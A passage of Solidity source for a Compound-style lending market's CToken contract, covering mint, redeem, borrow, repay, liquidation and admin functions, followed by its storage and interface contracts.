ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint256 mintAmount, bool isNative) internal nonReentrant returns (uint256, uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount, isNative); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint256 redeemTokens, bool isNative) internal nonReentrant returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0, isNative); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint256 redeemAmount, bool isNative) internal nonReentrant returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount, isNative); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint256 borrowAmount, bool isNative) internal nonReentrant returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount, isNative); } struct BorrowLocalVars { MathError mathErr; uint256 accountBorrows; uint256 accountBorrowsNew; uint256 totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh( address payable borrower, uint256 borrowAmount, bool isNative ) internal returns (uint256) { /* Fail if borrow not allowed */ uint256 allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* * Return if borrowAmount is zero. * Put behind `borrowAllowed` for accuring potential COMP rewards. */ if (borrowAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return uint256(Error.NO_ERROR); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount); vars.totalBorrowsNew = add_(totalBorrows, borrowAmount); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount, isNative); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint256(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint256 repayAmount, bool isNative) internal nonReentrant returns (uint256, uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount, isNative); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint256 repayAmount; uint256 borrowerIndex; uint256 accountBorrows; uint256 accountBorrowsNew; uint256 totalBorrowsNew; uint256 actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh( address payer, address borrower, uint256 repayAmount, bool isNative ) internal returns (uint256, uint256) { /* Fail if repayBorrow not allowed */ uint256 allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return ( failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0 ); } /* * Return if repayAmount is zero. * Put behind `repayBorrowAllowed` for accuring potential COMP rewards. */ if (repayAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return (uint256(Error.NO_ERROR), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint256(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount, isNative); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ vars.accountBorrowsNew = sub_(vars.accountBorrows, vars.actualRepayAmount); vars.totalBorrowsNew = sub_(totalBorrows, vars.actualRepayAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint256(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal( address borrower, uint256 repayAmount, CTokenInterface cTokenCollateral, bool isNative ) internal nonReentrant returns (uint256, uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral, isNative); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh( address liquidator, address borrower, uint256 repayAmount, CTokenInterface cTokenCollateral, bool isNative ) internal returns (uint256, uint256) { /* Fail if liquidate not allowed */ uint256 allowed = comptroller.liquidateBorrowAllowed( address(this), address(cTokenCollateral), liquidator, borrower, repayAmount ); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint256(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint256 repayBorrowError, uint256 actualRepayAmount) = repayBorrowFresh( liquidator, borrower, repayAmount, isNative ); if (repayBorrowError != uint256(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint256 amountSeizeError, uint256 seizeTokens) = comptroller.liquidateCalculateSeizeTokens( address(this), address(cTokenCollateral), actualRepayAmount ); require(amountSeizeError == uint256(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint256 seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint256(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ // unused function // comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint256(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize( address liquidator, address borrower, uint256 seizeTokens ) external nonReentrant returns (uint256) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint256) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint256(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint256) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint256(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint256(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint256 newReserveFactorMantissa) external nonReentrant returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint256 newReserveFactorMantissa) internal returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint256 oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint256(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint256 addAmount, bool isNative) internal nonReentrant returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount, isNative); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint256 addAmount, bool isNative) internal returns (uint256, uint256) { // totalReserves + actualAddAmount uint256 totalReservesNew; uint256 actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount, isNative); totalReservesNew = add_(totalReserves, actualAddAmount); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint256(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint256 reduceAmount) external nonReentrant returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint256 reduceAmount) internal returns (uint256) { // totalReserves - reduceAmount uint256 totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = sub_(totalReserves, reduceAmount); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. // Restrict reducing reserves in native token. Implementations except `CWrappedNative` won't use parameter `isNative`. doTransferOut(admin, reduceAmount, true); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint256(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint256) { uint256 error = accrueInterest(); if (error != uint256(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint256) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint256(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint256); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn( address from, uint256 amount, bool isNative ) internal returns (uint256); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut( address payable to, uint256 amount, bool isNative ) internal; /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally */ function transferTokens( address spender, address src, address dst, uint256 tokens ) internal returns (uint256); /** * @notice Get the account's cToken balances */ function getCTokenBalanceInternal(address account) internal view returns (uint256); /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block */ function mintFresh( address minter, uint256 mintAmount, bool isNative ) internal returns (uint256, uint256); /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block */ function redeemFresh( address payable redeemer, uint256 redeemTokensIn, uint256 redeemAmountIn, bool isNative ) internal returns (uint256); /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. */ function seizeInternal( address seizerToken, address liquidator, address borrower, uint256 seizeTokens ) internal returns (uint256); /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; import "./ERC3156FlashBorrowerInterface.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint256 internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint256 internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint256 internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint256 public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint256 public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint256 public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint256 public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint256 public totalReserves; /** * @notice Total number of tokens in circulation */ uint256 public totalSupply; /** * @notice Official record of token balances for each account */ mapping(address => uint256) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping(address => mapping(address => uint256)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint256 principal; uint256 interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; /** * @notice Implementation address for this contract */ address public implementation; } contract CSupplyCapStorage { /** * @notice Internal cash counter for this CToken. Should equal underlying.balanceOf(address(this)) for CERC20. */ uint256 public internalCash; } contract CCollateralCapStorage { /** * @notice Total number of tokens used as collateral in circulation. */ uint256 public totalCollateralTokens; /** * @notice Record of token balances which could be treated as collateral for each account. * If collateral cap is not set, the value should be equal to accountTokens. */ mapping(address => uint256) public accountCollateralTokens; /** * @notice Check if accountCollateralTokens have been initialized. */ mapping(address => bool) public isCollateralTokenInit; /** * @notice Collateral cap for this CToken, zero for no cap. */ uint256 public collateralCap; } /*** Interface ***/ contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint256 mintAmount, uint256 mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow( address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows ); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow( address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens ); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint256 amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Failure event */ event Failure(uint256 error, uint256 info, uint256 detail); /*** User Interface ***/ function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function 